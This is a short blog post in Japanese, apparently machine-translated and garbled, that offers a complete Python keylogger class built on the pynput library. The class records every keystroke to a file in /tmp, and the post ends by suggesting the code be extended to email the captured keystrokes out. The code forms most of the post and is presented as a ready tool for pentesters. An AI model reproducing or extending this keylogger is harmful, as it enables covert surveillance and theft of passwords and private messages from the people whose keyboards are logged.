Keyloggerコードのちょうど20行


私はあなたがオタクしているので、このウェブサイトを訪問しているので、あなたはすでに用語キーロガーを聞いていることを確認してください.
あなたが知らないならば、私が非常に速く説明させてください、その名前が示すキーロガーはあなたのキーストローク*を捕えて、どこかに彼らを救うツールです.
あなたがペンテスターならば、私はあなたがあなたのバッグでそのようなツールを持っていると確信します💻.
我々は、キーボードのイベントをキャプチャするスクリプト言語とpynputライブラリとしてPythonを使用している.
ここでは完全なコードは、正確に20行、コード自体を説明します.
class Keylogger:                                                                          
    def __init__(self):                                                                   
        self.keylogs = '/tmp/keylogs.logs'                                                
        self.keylogsfile = open(self.keylogs, 'a+')                                       

    def callback(self, key):                                                              
        try:                                                                              
            self.keylogsfile.write(key.char)                                              
        except AttributeError:                                                            
            special_key = str(key)                                                        
            if special_key == 'Key.enter':                                                
                special_key = '\n'                                                        
            if special_key == 'Key.space':                                                
                special_key = ' '                                                         
            self.keylogsfile.write(special_key)                                           

    def run(self):                                                                        
        with keyboard.Listener(on_press=self.callback) as l:                       
            l.join()                                                               

    def stop(self):                                                                       
        self.keylogsfile.close() 
時間がある場合は、定期的に電子メールを介してキャプチャキーストロークを送信するには、このコードを拡張することができます😉